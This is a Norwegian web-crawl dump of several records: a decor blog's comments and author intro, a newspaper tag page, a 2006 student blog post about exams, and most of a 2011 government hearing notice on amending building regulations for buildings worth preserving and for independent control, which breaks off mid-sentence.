 Anna Lantligt p\u00e5 Svan\u00e4ngen12. mai 2014 kl. 23:53\n    \n    V\u00e4ldigt vackert\\!\\!\\! Kram Anna\n    \n12. \n    \n    Maud Stein15. oktober 2014 kl. 00:09\n    \n    May I just say, you have a superb feeling for composition, colors and all else\\!  \n    I love to look at your pictures.  \n    Greetings, Maud\n    \n  \n    \n\n## Velkommen \\!\n\n  \n\n    \n\nJeg er Vibeke \\!  \nJeg bor i vakre Norge,og elsker den skandinaviske stilen.  \nHelt siden jeg var ei lita jente har jeg likt \u00e5 fylle dagen med  \nkreative sprell. Jeg har stort sett et prosjekt p\u00e5 gang,alt fra maling av malerier til oppussing av gamle m\u00f8bler.  \nJeg er en loppistraver av de store og elsker den landlige hvite stilen.  \nHyggelig at nettopp DU vil f\u00f8lge med p\u00e5 mine sprell :)  \n  \n  \n    \n\n  \nBildene er mine egne  \ncopyright: Vibeke Design  \n## I dette magasinet ble det viet mange vakre sider fra Vibeke Design\n\n", "language": "no", "__index_level_0__": "05f306c8-c838-44f1-ad91-db6b17d10578"}
{"url": "https://www.dagsavisen.no/oslo/oslolandingpage/Tag/Christian%20Grindheim", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:43:00Z", "text": "\n\n# \u00abLegendestatusen er allerede din, Grindheim. Du vil bli dypt savnet.\u00bb\n\n# Grindheim inn i troppen igjen\n", "language": "no", "__index_level_0__": "b958a663-aacc-44a7-8df7-8d43aa52911a"}
{"url": "http://baktanker.blogspot.com/2006/11/snart-eksamen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:31:12Z", "text": " \n\n## fredag, november 24, 2006\n\n### Snart eksamen\n\nN\u00e5 er det skummelt kort tid til eksamen... P\u00e5 s\u00f8ndag reiser jeg til Bergen for \u00e5 gj\u00f8re de siste forberedelser til tirsdag, som er den store eksamensdagen. Ellers har jeg en mindre eksamen p\u00e5 fredag, men den vil jeg i alle fall ikke tenke p\u00e5.  \n  \nEllers fant jeg denne vakre tegningen i dag:  \n  \n  \n  \nDere vil sikkert n\u00e5 tro at jeg har opps\u00f8kt en ungdomsskole eller til n\u00f8ds den videreg\u00e5ende skolen der jeg jobba f\u00f8r, men den hang faktisk i heisen p\u00e5 universitetet. Enkelte bare nekter \u00e5 bli voksne... Det skulle ikke forundre meg om det er en eller annen f\u00f8rsteamenuensis eller professor som har v\u00e6rt p\u00e5 ferde.\n\n#### 3 kommentarer:\n\n \n\nImponerande oppeg\u00e5ande folk der oppe....\n\n \n\n mandag, november 27, 2006    \n\n \n\nJa de l\u00e6rde og intellektuelle har ogs\u00e5 sine behov...Kanskje ekstra sterke siden de kanskje ikke f\u00e5r s\u00e5 ofte utl\u00f8p for den :-)\n\n torsdag, november 30, 2006    \n\n", "language": "no", "__index_level_0__": "673a4232-ef4e-4052-a806-ebcb12c8e9d7"}
{"url": "https://www.regjeringen.no/no/dokumenter/horing---forslag-til-endringer-i-byggesa/id665711/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:50:04Z", "text": "# H\u00f8ring - Forslag til endringer i byggesaksforskriften\n\nI. P\u00e5legg om utbedring av bevaringsverdige bygg, II. Krav til uavhengighet for kontrollforetak\n\nH\u00f8ring | Dato: 08.12.2011  | Kommunal- og moderniseringsdepartementet \n\nOpprinnelig utgitt av: Kommunal- og regionaldepartementet\n\n**Status:** Ferdigbehandlet\n\n**H\u00f8ringsfrist:** 02.03.2012\n\n    **H\u00f8ring - Forslag til endringer i byggesaksforskriften**  \n      \n    **I. P\u00e5legg om utbedring av bevaringsverdige bygg, II. Krav til uavhengighet for kontrollforetak**\n    \n    1.\u00a0 \u00a0Innledning  \n    Kommunal- og regionaldepartementet sender med dette forslag til endringer og justeringer i forskrift til plan- og bygningsloven (byggesaksforskriften) p\u00e5 h\u00f8ring.\n    \n    H\u00f8ringsfristen er 2. mars 2012.\n    \n    Del 1 av h\u00f8ringsforslaget inneholder nye regler om kommunenes adgang til \u00e5 gi p\u00e5legg om utbedring av bevaringsverdige bygninger, jf. plan- og bygningsloven \u00a7 31-4. Del 2 inneholder forslag til justeringer og presiseringer i byggesaksforskriftens kapittel 14 om uavhengig kontroll, jf. plan- og bygningsloven kapittel 24. Del 2 m\u00e5 sees i sammenheng med forskriftsforslag som alt har v\u00e6rt p\u00e5 h\u00f8ring med frist 20. september 2011, og som bl.a. omhandlet godkjenningsomr\u00e5der og kvalifikasjonskrav for kontrollforetak.\n    \n      \n    2.\u00a0N\u00e6rmere om forslaget om p\u00e5legg om utbedring av bevaringsverdige bygninger  \n    P\u00e5 bakgrunn av Stortingets behandling av ny byggesaksdel i plan- og bygningsloven (Innst. 0. nr. 50 2008-2009) har Kommunal- og regionaldepartementet i samarbeid med Milj\u00f8verndepartementet, Riksantikvaren og Statens bygningstekniske etat utarbeidet forslag til forskriftsbestemmelser om kommunenes adgang til \u00e5 gi p\u00e5legg om utbedring av bevaringsverdige bygninger.\n    \n    Nytt kapittel 20 i byggesaksforskriften gis i medhold av forskriftshjemmelen i plan- og bygningsloven (pbl) \u00a7 31-4, der departementet er gitt adgang til \u00e5 gi forskrift om at kommunene kan gi p\u00e5legg om dokumentasjon og utbedring av eksisterende byggverk og installasjoner. Etter lovbestemmelsens andre ledd kan det gis forskrift om p\u00e5legg som tilsies av tungtveiende hensyn til universell utforming, helse, milj\u00f8, sikkerhet eller bevaringsverdi.\n    \n    Forslaget til kapittel 20 i forskriften gjelder bare bevaringsverdi, og omfatter bare bygninger. Begrepet \"byggverk\" brukes i plan- og bygningsloven som et samlebegrep for bygninger, konstruksjoner og anlegg. P\u00e5legg om utbedring etter dette kapitlet skal imidlertid ikke gjelde konstruksjoner og anlegg, og det er derfor brukt begrepet \"bygning\". Det presiseres at dette bare gjelder kapittel 20, resten av forskriften f\u00f8lger plan- og bygningslovens ordin\u00e6re begrepsbruk.\n    \n    Kapittel 20 gjelder bygningers eksteri\u00f8r. Dette kan ogs\u00e5 omfatte fundament, b\u00e6rende konstruksjoner, og andre bygnings- og vedlikeholdsmessige forhold med betydning for bevaring av bygningen, jf. \u00a7 20-2 fjerde ledd.\n    \n    Form\u00e5let med forskriftsbestemmelsene er angitt i \u00a7 20-1, og er \u00e5 hindre at bygninger med h\u00f8y bevaringsverdi g\u00e5r tapt. Virkeomr\u00e5det angis i \u00a7 20-3, som definerer  \n    hva som er bevaringsverdige bygninger, og henger sammen med avgrensningen i  \n    \u00a7\u00a7 20-1 og 20-5 om at det skal foreligge h\u00f8y bevaringsverdi f\u00f8r p\u00e5legg kan gis. Forskriften angir i tillegg krav til prosess og dokumentasjon i \u00a7 20-2, som gjelder egne p\u00e5legg om dokumentasjon, plikt til \u00e5 tilby forh\u00e5ndskonferanse, og mulighet for kommunalt tilsyn. I \u00a7 20-4 er det foresl\u00e5tt bestemmelser om n\u00e5r det kan gis p\u00e5legg, og p\u00e5leggets innhold. Kommunen kan ogs\u00e5 gi p\u00e5legg om umiddelbar sikring uten forh\u00e5ndsvarsel dersom forfallet er kommet s\u00e5 langt at fremtidig utbedring hindres  \n    (\u00a7 20-6).\n    \n    Prosessen etter de nye bestemmelsene kan starte p\u00e5 forskjellige m\u00e5ter, men gangen i en prosess vil i hovedsak v\u00e6re:  \n    \u2022\u00a0Kommunen kan kreve dokumentasjon (med rimelig frist) og f\u00f8re tilsyn der det kan v\u00e6re aktuelt med p\u00e5legg.  \n    \u2022\u00a0Kommunen skal tilby forh\u00e5ndskonferanse.  \n    \u2022\u00a0Eier skal gis mulighet til \u00e5 fremme alternative forslag om bruk og utbedring.  \n    \u2022\u00a0Kommunen b\u00f8r vurdere den reguleringsmessige situasjonen med sikte p\u00e5 eventuell regulering til bevaring.  \n    \u2022\u00a0F\u00f8r p\u00e5legg gis, skal eier eller den ansvarlige gis varsel med 4 uker til \u00e5 uttale seg.  \n    \u2022\u00a0N\u00e5r p\u00e5legg gis, skal det gis rimelig frist til oppfyllelse. Fristen skal kunne forlenges.  \n    \u2022\u00a0Kommunen kan gi p\u00e5legg om umiddelbar sikring hvis det er fare for brann, h\u00e6rverk eller lignende. Slikt p\u00e5legg kan gis uten forh\u00e5ndsvarsel.\n    \n    I forslaget gis det ogs\u00e5 anvisning om de vurderinger kommunen m\u00e5 gj\u00f8re n\u00e5r p\u00e5legg om utbedring kan v\u00e6re aktuelt:  \n    \u2022\u00a0Den m\u00e5 f\u00f8rst fastsl\u00e5 at det er en bevaringsverdig bygning.  \n    \u2022\u00a0Den m\u00e5 deretter fastsl\u00e5 at bevaringsverdien er h\u00f8y.  \n    \u2022\u00a0Det m\u00e5 foreligge klart forfall.  \n    \u2022\u00a0Det m\u00e5 eventuelt vurderes behov for p\u00e5legg om umiddelbar sikring.  \n    \u2022\u00a0Eventuell alternativ bruk og regulering m\u00e5 vurderes i dialog med eieren.  \n    \u2022\u00a0Det m\u00e5 utvises forsiktighet med hensyn til hvor langt utbedringen skal g\u00e5.  \n    \u2022\u00a0Den m\u00e5 vurdere eierens situasjon, b\u00e5de \u00f8konomisk og p\u00e5 annen m\u00e5te, tomteverdi, mulighet for \u00f8konomiske tilskudd osv.\n    \n      \n    3.\u00a0N\u00e6rmere om forslaget til endringer i forskriftens kapittel 14 om kontroll  \n    De foreliggende forslagene kommer i tillegg til forslag vedr. kvalifikasjoner og kontrollomr\u00e5der som har v\u00e6rt p\u00e5 h\u00f8ring med frist 20.09.11. De forslagene gjaldt f\u00f8lgende bestemmelser:  \n    \u2022\u00a0\u00a7\u00a7 9-1 andre ledd, 10-2 tredje ledd og 11-1, om bruk av begrepet \"kvalifikasjoner\" i stedet for \"kompetanse\"  \n    \u2022\u00a0\u00a7\u00a7 11-1 tredje ledd og 11-2 fjerde ledd om krav til kontrollforetaks kvalifikasjoner og praksis fra hhv. prosjektering og utf\u00f8relse  \n    \u2022\u00a0\u00a7 15-5 nytt f\u00f8rste ledd om godkjenningsomr\u00e5der for kontroll  \n    \u2022\u00a0\u00a7 14-2 f\u00f8rste ledd om kontroll av v\u00e5trom.\n    \n    Endringsforslagene som n\u00e5 sendes p\u00e5 h\u00f8ring gjelder:\n    \n    \u00a7 14-1 Krav til uavhengighet for kontrollerende foretak  \n    Det presiseres at uavhengigheten for kontrollforetakene m\u00e5 vurderes i forhold til det arbeidet som skal utf\u00f8res i tiltaket, dvs. prosjektering og utf\u00f8relse. I gjeldende forskrift omfatter uavhengigheten ogs\u00e5 forholdet til tiltakshaver, men dette kravet foresl\u00e5s n\u00e5 tatt vekk. Begrunnelsen er at det er tiltakshaver som engasjerer kontrollforetak, og normalt vil tiltakshaver ha sammenfallende interesser med kommunen i en uavhengig gjennomf\u00f8ring av kontrollen. Der tiltakshaver ogs\u00e5 har andre roller i tiltaket, dvs. som prosjekterende og/eller utf\u00f8rende, m\u00e5 tilknytningen beskrives s\u00e6rskilt overfor kommunen, som m\u00e5 vurdere om tilknytningen vil g\u00e5 ut over kontrollfunksjonens uavhengighet, slik at s\u00f8knad om ansvarsrett som kontrollerende ikke kan godkjennes.\n    \n    \u00a7 14-2 Obligatoriske krav om uavhengig kontroll  \n    Det presiseres at \u00a7 14-2 f\u00f8rste ledd m\u00e5 leses i sammenheng med \u00a7 14-6. Det har v\u00e6rt noe uklarhet omkring hva ansvarlige kontrollerende skal kontrollere. Det presiseres derfor b\u00e5de i \u00a7\u00a7 14-2 f\u00f8rste ledd og 14-6 at det skal kontrolleres at det foreligger tilstrekkelig produksjonsunderlag. Det er ikke n\u00f8dvendig med ytterligere kontroll av prosjekteringen eller produksjonsunderlaget. Hovedfokus p\u00e5 kontrollen etter disse bestemmelsene skal ligge p\u00e5 utf\u00f8relsen.\n    \n    \u00a7 14-2 siste ledd gjelder forholdet til Norsk Standard. Under arbeidet med ny NS 8450 Kontroll av prosjektering og utf\u00f8relse av byggearbeider er begrepet \"utvidet kontroll\" bortfalt, og det er derfor ikke n\u00f8dvendig \u00e5 kreve slik kontroll for at forskriftens krav skal anses ivaretatt. Selv om arbeidet med standarden er noe utsatt, vil det v\u00e6re behov for en henvisning til standard i forskriften, for at fremtidige standarder skal kunne brukes som supplement eller alternativ til veiledningen til forskriften.\u00a0\n    \n    Spr\u00e5klige og redigeringsmessige endringer  \n    Det foresl\u00e5s ogs\u00e5 noen spr\u00e5klige presiseringer i \u00a7 14-2 andre ledd bokstav d), der begrepet \"strategi\" tas bort, i det kontrollkravet er knyttet til fasene, og i denne bestemmelsen betyr det konseptfasen. Det er ogs\u00e5 foretatt noen mindre spr\u00e5klige og redigeringsmessige endringer i \u00a7 14-7 Gjennomf\u00f8ring av uavhengig kontroll i tiltaksklasse 2 og 3.\n    \n      \n    4.\u00a0Praktisk informasjon\n    \n    Fullstendige h\u00f8ringsforslag med merknader og h\u00f8ringsliste er tilgjengelig p\u00e5 f\u00f8lgende nettsteder: http://www.regjeringen.no/krd og http://be.no\n    \n    Departementet ber om uttalelser til forslagene innen 2. mars 2012. Vi ber i tillegg om  \n    \u2022\u00a0at h\u00f8ringsuttalelsene sendes elektronisk som word-filer til departementet: firstname.lastname@example.org , og  \n    \u2022\u00a0at merknader gis direkte til enkeltbestemmelser i den kronologi og med de overskrifter som er valgt i h\u00f8ringsutkastene.\u00a0\u00a0\u00a0\u00a0\n    \n    Eventuelle henvendelser kan rettes til avdelingsdirekt\u00f8r Ole Molnes, tlf. 22 24 71 06,\u00a0\u00a0\u00a0 e-post email@example.com eller fagdirekt\u00f8r Egil Stabell Rasmussen, tlf 22 24 71 56, e-post firstname.lastname@example.org .\n    \n      \n    Med hilsen\n    \n      \n    Inger Lindgren e.f.  \n    ekspedisjonssjef\n    \n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Ole Molnes  \n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0avdelingsdirekt\u00f8r\n\n  - ## H\u00f8ringsnotat\n    \n    **H\u00f8ringsutkast \u2013 Forslag til endringer i forskrift om byggesak (SAK10)**\n    \n    Nedenfor f\u00f8lger forslag til endringer i forskrift om byggesak (byggesaksforskriften) av 26. mars 2010 nr. 488. Del 1 om utbedring av bevaringsverdige bygninger er et nytt kapittel i forskriften(kapittel 20). Del 2 inneholder justeringer av gjeldende tekst i kapittel 14 om uavhengig kontroll. I del 2 fremkommer endringene i kursiv. Forslagene til forskriftstekst er gjengitt innledningsvis i begge delene.\n    \n    **Del 1 \u2013 Forslag til forskrift til plan- og bygningsloven \u00a7 31-4 om kommunenes adgang til \u00e5 gi p\u00e5legg om utbedring av bevaringsverdige bygninger**\n    \n      \n    **\u00a7 20-1\u00a0Form\u00e5l**\n    \n    \u00a0Denne forskrift kapittel 20 skal hindre at bygninger med h\u00f8y bevaringsverdi g\u00e5r tapt p\u00e5 grunn av unnlatt sikring eller istandsetting, og ivareta de verdier slike bygninger representerer innenfor en \u00f8konomisk forsvarlig ramme.\n    \n      \n    **\u00a7 20-2 \u00a0P\u00e5legg om dokumentasjon, forh\u00e5ndskonferanse, tilsyn**\n    \n    Der det er \u00e5penbart at tilstanden til en bevaringsverdig bygning er slik at det kan v\u00e6re aktuelt med p\u00e5legg etter denne forskrift, kan kommunen kreve de opplysninger av bygningens eier som er n\u00f8dvendig for \u00e5 vurdere grunnlaget for p\u00e5legg, og hva p\u00e5legget skal g\u00e5 ut p\u00e5.\n    \n    Kommunen skal tilby forh\u00e5ndskonferanse. Plan- og bygningsloven \u00a7 21-1 og denne forskrift \u00a7 6-1 om forh\u00e5ndskonferanse gis tilsvarende anvendelse. Eier skal gis anledning til \u00e5 fremme alternative forslag til bruk og utbedring.\n    \n    Der det kan v\u00e6re aktuelt med p\u00e5legg etter denne forskrift, jf. plan- og bygningsloven \u00a7 31-4, kan kommunen f\u00f8re tilsyn med bygningen, jf. plan- og bygningsloven \u00a7 31-7.\n    \n    Dokumentasjonen skal vise bygningens tilstand og angi hvilke tiltak som kan iverksettes for \u00e5 bringe bygningen tilbake til en tilstand som i tilstrekkelig grad ivaretar bevaringsverdiene. Tiltakene kan omfatte bygningens eksteri\u00f8r, samt fundament, b\u00e6rende konstruksjoner, og andre bygnings- og vedlikeholdsmessige forhold med betydning for bevaring av bygningen.\n    \n    \u00a0Ved utferdigelse av p\u00e5legg om dokumentasjon skal det settes rimelig frist for utarbeidelse av dokumentasjonen.\n    \n      \n    **\u00a7 20-3 \u00a0Bevaringsverdige bygninger**\n    \n    F\u00f8lgende bygninger som etter plan- og bygningsloven er gitt bevaringsstatus, er \u00e5 anse som bevaringsverdig etter denne forskrift:  \n    a)\u00a0bygninger i omr\u00e5de regulert til spesialomr\u00e5de bevaring etter plan- og bygningsloven av 14.06.1985 nr 77 \u00a7 25 f\u00f8rste ledd nr. 6  \n    b)\u00a0bygninger som etter plan- og bygningsloven av 27.06.2008 nr 71 \u00a7 12-6 jf \u00a7 11-8 annet ledd bokstav c) ligger innenfor hensynssone for bevaring av kulturmilj\u00f8  \n    c)\u00a0bygninger etter \u00a7 12-7 nr 6 som omfattes av reguleringsbestemmelse som sikrer verneverdiene,  \n    d)\u00a0bygninger etter \u00a7 12-5 annet ledd nr 5 er byggverk som innenfor planform\u00e5let landbruk, natur og friluft (LNFR) er vist med underform\u00e5l vern av kulturmilj\u00f8 eller kulturminne.  \n    Ved vurderingen av andre bygningers bevaringsverdi etter denne forskrift skal det legges vekt p\u00e5 bygningens  \n    a)\u00a0representativitet  \n    b)\u00a0autentisitet  \n    c)\u00a0arkitektoniske verdi  \n    d)\u00a0identitetsverdi  \n    e)\u00a0sammenheng med kultur- eller naturmilj\u00f8\n    \n      \n    **\u00a7 20-4\u00a0Varsel om p\u00e5legg om sikring eller utbedring**\n    \n    F\u00f8r p\u00e5legg etter \u00a7 20-5 gis, skal eier eller den han har overlatt ansvaret for bygningen til, gis varsel p\u00e5 minst 4 uker til \u00e5 uttale seg. I varselet skal det fremg\u00e5 hvilke forhold p\u00e5legget vil inneholde, hvordan p\u00e5legget skal etterkommes, og hvilken alternativ bruk som kan vurderes.\n    \n      \n    **\u00a7 20-5 \u00a0P\u00e5legg om utbedring**\n    \n    Kommunen kan rette p\u00e5legg om utbedring mot eier eller den han har overlatt ansvaret for bygningen til, n\u00e5r forfall eller skader vil f\u00f8re til at bygning med h\u00f8y bevaringsverdi eller deler av den forfaller dersom det ikke skjer n\u00f8dvendig utbedring.\n    \n    P\u00e5legget kan omfatte n\u00f8dvendig utbedring for \u00e5 bringe hele eller deler av bygningen til en tilstand som ivaretar den h\u00f8ye bevaringsverdien. Der det er n\u00f8dvendig for \u00e5 hindre ytterligere forfall, kan kommunen ogs\u00e5 gi p\u00e5legg om istandsetting av fundament, b\u00e6rende konstruksjoner, og andre bygnings- og vedlikeholdsmessige forhold for at bygningen ikke skal g\u00e5 tapt.\n    \n    Kostnadene ved gjennomf\u00f8ring av p\u00e5legget skal ikke v\u00e6re vesentlig h\u00f8yere enn det forsvarlig vedlikehold ellers ville ha kostet, og skal st\u00e5 i rimelig forhold til den bevaringsverdi som kan g\u00e5 tapt.\u00a0 P\u00e5legg kan ikke gis n\u00e5r fremtidige bruksmuligheter, eiendommens \u00f8konomiske b\u00e6reevne eller den ansvarliges situasjon taler mot det.\n    \n    Er mer omfattende utbedring planlagt i n\u00e6r fremtid, kan midlertidige tiltak v\u00e6re tilstrekkelig. Det kan settes vilk\u00e5r for \u00e5 tillate midlertidige tiltak. Hvor konsekvensene av et p\u00e5legg om utbedring uansett vil virke urimelig tyngende, kan kommunen gi p\u00e5legg om sikring av bygningen, for \u00e5 stanse p\u00e5begynt forfall.\n    \n    Ved utferdigelse av p\u00e5legg skal det settes rimelig frist for oppfyllelse. Kommunen kan forlenge fristen i p\u00e5vente av \u00f8konomiske tilskudd, utredninger om alternativ bruk, omregulering mv.\u00a0\n    \n      \n    **\u00a7 20-6 \u00a0P\u00e5legg om sikring**\n    \n    Hvis det er fare for at bygning som nevnt i \u00a7 20-1 kan bli skadet ved brann, h\u00e6rverk eller lignende, eller forfallet av slike eller andre grunner er kommet s\u00e5 langt at det\u00a0\u00a0 vil hindre fremtidigutbedring, kan kommunen gi eier eller den han har overlatt ansvaret for bygningen til p\u00e5legg om umiddelbare sikringstiltak for \u00e5 avverge skade eller ytterligere forfall. Slikt p\u00e5legg kan gis uten forh\u00e5ndsvarsel.\n    \n    \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\n    \n      \n    **Merknader til forskrift til plan- og bygningsloven \u00a7 31-4**\n    \n      \n    **Innledning**\n    \n    Denne forskrift kapittel 20 er gitt i medhold av forskriftshjemmelen i plan- og bygningsloven (pbl) \u00a7 31-4, der departementet er gitt adgang til \u00e5 gi forskrift om kommunens adgang til \u00e5 gi p\u00e5legg om dokumentasjon og utbedring av eksisterende byggverk og installasjoner. Etter lovbestemmelsens andre ledd kan det gis forskrift om p\u00e5legg som tilsies av tungtveiende hensyn til universell utforming, helse, milj\u00f8, sikkerhet eller bevaringsverdi.\n    \n    Denne forskrift kapittel 20 gjelder bare bevaringsverdi, og omfatter bare bygninger. Begrepet \"byggverk\" brukes i plan- og bygningsloven som et samlebegrep for bygninger, konstruksjoner og anlegg. P\u00e5legg om utbedring etter dette kapitlet skal ikke gjelde konstruksjoner og anlegg, og det er derfor brukt begrepet \"bygning\". Det presiseres at dette bare gjelder kapittel 20, resten av forskriften f\u00f8lger plan- og bygningslovens begrepsbruk.\n    \n    Forskriften gjelder bygningers eksteri\u00f8r. . Dette kan ogs\u00e5 omfatte fundament, b\u00e6rende konstruksjoner, og andre bygnings- og vedlikeholdsmessige forhold med betydning for bevaring av bygningen, jf. \u00a7 20-2 fjerde ledd.\n    \n    Forskriften til pbl \u00a7 31-4 legger opp til at kommunens skj\u00f8nn etter disse bestemmelsene i st\u00f8rst mulig grad skal v\u00e6re et rettsanvendelsesskj\u00f8nn. Hvorvidt det foreligger tilstrekkelig grunnlag for at kommunen skal kunne gi p\u00e5legg, kan dermed overpr\u00f8ves fullt ut av domstolene og i klageomgangen, jf. forvaltningsloven (fvl) \u00a7 34.\u00a0 Omgj\u00f8ringsadgangen etter fvl \u00a7 35 er heller ikke besk\u00e5ret.\u00a0 Kommunens vurdering av om p\u00e5legg skal gis (n\u00e5r grunnlaget foreligger), formulert som \"kommunen kan\", er likevel et fritt skj\u00f8nn. Dette gjelder \u00a7 20-5 f\u00f8rste, andre og fjerde ledd. I tillegg er det en kan-bestemmelse i \u00a7 20-2 f\u00f8rste ledd (kan kreve dokumentasjon), og i \u00a7 20-6 (kan gi p\u00e5legg om umiddelbare sikringstiltak).\n    \n    En del begreper som brukes i denne forskrift finnes ogs\u00e5 i annet regelverk, jf. s\u00e6rlig kulturminneloven. Begrepene er i denne forskrift gitt selvstendig betydning, og tolkningen av tilsvarende begreper i kulturminneloven kan derfor ikke umiddelbart legges til grunn ved tolkning av de samme begreper etter denne forskrift.\n    \n    Denne forskrift angir et virkeomr\u00e5de, definert i \u00a7 20-3 om hva som er bevaringsverdige bygninger, og avgrensningen i \u00a7\u00a7 20-1 og 20-5 om at det skal foreligge h\u00f8y bevaringsverdi f\u00f8r p\u00e5legg kan gis. Forskriften angir i tillegg krav til prosess og dokumentasjon i \u00a7\u00a7 20-2 og 20-4. Prosessen kan starte p\u00e5 forskjellige m\u00e5ter, men gangen i prosessen vil i hovedsak v\u00e6re:  \n    \u2022\u00a0Kommunen kan kreve dokumentasjon (med rimelig frist) og f\u00f8re tilsyn der det kan v\u00e6re aktuelt med p\u00e5legg.  \n    \u2022\u00a0Kommunen skal tilby forh\u00e5ndskonferanse.  \n    \u2022\u00a0Eier skal gis mulighet til \u00e5 fremme alternative forslag om bruk og utbedring.  \n    \u2022\u00a0Kommunen b\u00f8r vurdere den reguleringsmessige situasjonen med sikte p\u00e5 eventuell regulering til bevaring.  \n    \u2022\u00a0F\u00f8r p\u00e5legg gis, skal eier eller den ansvarlige gis varsel med 4 uker til \u00e5 uttale seg.  \n    \u2022\u00a0N\u00e5r p\u00e5legg gis, skal det gis rimelig frist til oppfyllelse. Fristen skal kunne forlenges.  \n    \u2022\u00a0Kommunen kan gi p\u00e5legg om umiddelbar sikring hvis det er fare for brann, h\u00e6rverk eller lignende. Slikt p\u00e5legg kan gis uten forh\u00e5ndsvarsel.\n    \n    Kommunen m\u00e5 ogs\u00e5 ha en prosess for sitt arbeid med vurderingen av om p\u00e5legg skal gis:  \n    \u2022\u00a0Den m\u00e5 f\u00f8rst fastsl\u00e5 at det er en bevaringsverdig bygning.  \n    \u2022\u00a0Den m\u00e5 deretter fastsl\u00e5 at bevaringsverdien er h\u00f8y.  \n    \u2022\u00a0Det m\u00e5 foreligge klart forfall.  \n    \u2022\u00a0Det m\u00e5 eventuelt vurderes behov for p\u00e5legg om umiddelbar sikring.  \n    \u2022\u00a0Eventuell alternativ bruk og regulering m\u00e5 vurderes i dialog med eieren.  \n    \u2022\u00a0Det m\u00e5 utvises forsiktighet med hensyn til hvor langt utbedringen skal g\u00e5.  \n    \u2022\u00a0Den m\u00e5 vurdere eierens situasjon, b\u00e5de \u00f8konomisk og p\u00e5 annen m\u00e5te, tomteverdi, mulighet for \u00f8konomiske tilskudd osv.\n    \n    \u00a0\n    \n    **Merknad til \u00a7 20-1 Form\u00e5l. Virkeomr\u00e5de**\n    \n    Form\u00e5lsbestemmelsen angir rammen for forskriftsbestemmelsene til plan- og bygningsloven \u00a7 31-4. P\u00e5legg om utbedring gjelder bare bevaringsverdige bygninger. Stortinget har i innstillingen om plan- og bygningsloven fremhevet behovet for at slike bygninger blir ivaretatt og vedlikeholdt, se Innst. O. nr. 50 (2008-2009 s. 32 flg.). Kommunenes p\u00e5legg skal likevel holdes innenfor en \u00f8konomisk forsvarlig ramme, der eierens situasjon skal tas med i vurderingen.\n    \n    Bevaringsverdi er n\u00e6rmere omtalt i merknaden til \u00a7 20-3. N\u00e5r forskriften her krever \"h\u00f8y\" bevaringsverdi, forutsetter det at verdiene for denne bygningen er vurdert med et samlet resultat som gir den h\u00f8y bevaringsverdi. I vurderingen kan det f. eks. v\u00e6re hensiktmessig \u00e5 verdisette hver egenskap etter en poengskala, og deretter vekte verdiene i forhold til hverandre. Resultatet av verdivurderingen og vektingen skal bidra til \u00e5 avgj\u00f8re om bygningen har h\u00f8y bevaringsverdi. Vurderingen kan imidlertid ikke bli en rent matematisk \u00f8velse; den endelige avgj\u00f8relsen av om bygningen har h\u00f8y bevaringsverdi bygger p\u00e5 en samlet faglig vurdering.  \n    Ved vurderingen av graden av den enkelte bygnings bevaringsverdi, er det kriteriene i \u00a7 20-3 andre ledd, som m\u00e5 vurderes \u2013 hver for seg og i forhold til hverandre.\n    \n    Kulturminnemyndighetenes verdivurdering vekter normalt kunnskapsverdien (representativitet, autentisitet, arkitektonisk verdi, sammenheng med milj\u00f8) tyngre enn opplevelsesverdien (identitetsverdi, symbolverdi, \"fortellerverdien\"), jf. merknaden til \u00a7 20-3.\n    \n    P\u00e5 lokalt niv\u00e5 kan opplevelsesverdien v\u00e6re den mest \u00e5penbare grunnen til \u00e5 fastsl\u00e5 h\u00f8y bevaringsverdi, fordi den lokale \"hukommelsen\", tradisjonen eller identiteten er s\u00e6rlig sterk knyttet til stedet. Bygningen kan for eksempel v\u00e6re knyttet til en person eller hendelse som har hatt stor betydning for dette omr\u00e5det.\n    \n    Alder er ikke et selvstendig kriterium, men inng\u00e5r som en del av vurderingen innenfor de andre kriteriene. Med alderen \u00f8ker gjerne byggverkets andre verdier, som kilde til kunnskap og opplevelse.\n    \n    Resultatet av verdivurderingen forteller om bygningen har h\u00f8y bevaringsverdi, og gjerne ogs\u00e5 om denne verdien er av lokal, regional eller nasjonal betydning. Kommunen har da grunnlag for \u00e5 vurdere om det kan gis p\u00e5legg om utbedring, jf 